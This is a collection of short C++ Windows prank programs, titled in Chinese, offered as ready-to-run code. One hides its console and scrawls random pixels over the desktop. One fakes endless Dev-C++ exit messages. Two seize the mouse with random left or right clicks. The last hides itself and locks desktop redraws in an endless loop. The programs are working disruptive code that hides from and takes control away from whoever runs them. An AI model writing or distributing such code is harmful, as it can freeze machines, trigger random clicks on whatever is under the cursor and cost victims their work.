emhem???
#include <ctime>
#include <cstdlib>
#include <windows.h>
using namespace std;
void HideWindow(){
HWND hwnd = FindWindow("ConsoleWindowClass", NULL);
if (hwnd){
ShowWindow(hwnd, SW_HIDE);
}
return;
}
int main(){
HideWindow();
int pix;
HWND wnd;
HDC dc;
wnd = FindWindow("SysListView32", NULL);
dc = GetDC(wnd);
pix = RGB(0, 0, 0);
int x = 0, y = 0, t = 4147200;
srand((unsigned)(time(NULL)));
while (t--){
SetCursorPos(0, 0);
pix = RGB(rand() % 255, rand() % 255, rand() % 255);
SetPixel(dc, rand() % 1920, rand() % 1080, pix);
}
return 0;
}Dev-C++故障
#include <cstdio>
#include <cstdlib>
int main(){
while (true){
printf("\n--------------------------------\nProcess exited after 0.184 seconds with return value 0\n");
system("pause");
system("cls");
}
return 0;
}鼠标大震颤
#include <ctime>
#include <cstdlib>
#include <windows.h>
int main(){
int screen_width = GetSystemMetrics(SM_CXSCREEN), screen_height = GetSystemMetrics(SM_CYSCREEN);
srand((unsigned)(time(NULL)));
int t = 1000000;
while (t--){
int x = rand() % screen_width, y = rand() % screen_height;
SetCursorPos(x, y);
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
}
return 0;
}鼠标震颤(升级)
#include <ctime>
#include <cstdlib>
#include <windows.h>
int main(){
int screen_width = GetSystemMetrics(SM_CXSCREEN), screen_height = GetSystemMetrics(SM_CYSCREEN);
srand((unsigned)(time(NULL)));
int t = 1000000;
while (t--){
int x = rand() % screen_width, y = rand() % screen_height;
SetCursorPos(x, y);
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
}
return 0;
}卡死屏幕
#include <windows.h>
HWND hwnd = GetDesktopWindow();
int main(){
ShowWindow(GetConsoleWindow(), 0);
while (true){
LockWindowUpdate(hwnd);
Sleep(5);
}
return 0;
}